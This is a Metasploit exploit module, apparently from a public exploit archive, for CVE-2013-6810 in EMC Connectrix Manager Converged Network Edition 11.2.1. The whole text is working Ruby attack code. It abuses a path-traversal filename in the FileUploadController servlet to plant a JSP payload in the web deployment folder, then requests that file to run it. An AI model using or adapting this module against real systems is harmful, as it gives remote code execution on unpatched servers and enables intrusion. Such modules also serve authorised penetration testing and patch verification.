EMC CMCNE 11.2.1 – FileUploadController Remote Code Execution (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'EMC CMCNE FileUploadController Remote Code Execution', 'Description' => %q{ This module exploits a fileupload vulnerability found in EMC Connectrix Manager Converged Network Edition <= 11.2.1. The file upload vulnerability is triggered when sending a specially crafted filename to the FileUploadController servlet. This allows the attacker to upload a malicious jsp file to anywhere on the remote file system. }, 'License' => MSF_LICENSE, 'Author' => [ 'james fitts' ], 'References' => [ [ 'ZDI', '13-279' ], [ 'CVE', '2013-6810' ] ], 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 18 2013')) register_options([ Opt::RPORT(80) ], self.class) end def exploit peer = "#{datastore['RHOST']}:#{datastore['RPORT']}" deploy = "..\\..\\..\\deploy\\dcm-client.war\\" jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "") @jsp_name = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" data = Rex::MIME::Message.new data.add_part("#{jsp}", "application/octet-stream", nil, "form-data; name=\"source\"; filename=\"#{deploy}#{@jsp_name}\"") data.add_part("#{rand_text_alpha_upper(5)}", nil, nil, "form-data; name=\"driverFolderName\"") post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_") print_status("#{peer} - Uploading the JSP Payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("HttpFileUpload", "FileUploadController.do"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/ print_good("File uploaded successfully!") print_status("Executing '#{@jsp_name}' now...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("dcm-client", "#{@jsp_name}") }) else print_error("Does not look like the files were uploaded to #{peer}...") end end end |